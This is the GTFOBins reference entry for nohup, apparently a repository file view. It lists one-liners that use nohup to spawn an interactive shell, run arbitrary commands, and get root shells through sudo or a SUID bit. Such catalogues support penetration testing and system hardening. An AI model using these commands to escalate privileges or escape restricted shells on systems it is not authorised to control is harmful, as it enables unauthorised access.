GTFOBins.github.io/_gtfobins/nohup.md
2020-03-15 12:18:08 +01:00

339 B

functions
shell command sudo suid
code
nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
code
COMMAND='/usr/bin/id' nohup "$COMMAND" cat nohup.out
code
sudo nohup /bin/sh -c "sh <$(tty) >$(tty) 2>$(tty)"
code
sudo nohup /bin/sh -p -c "sh -p <$(tty) >$(tty) 2>$(tty)"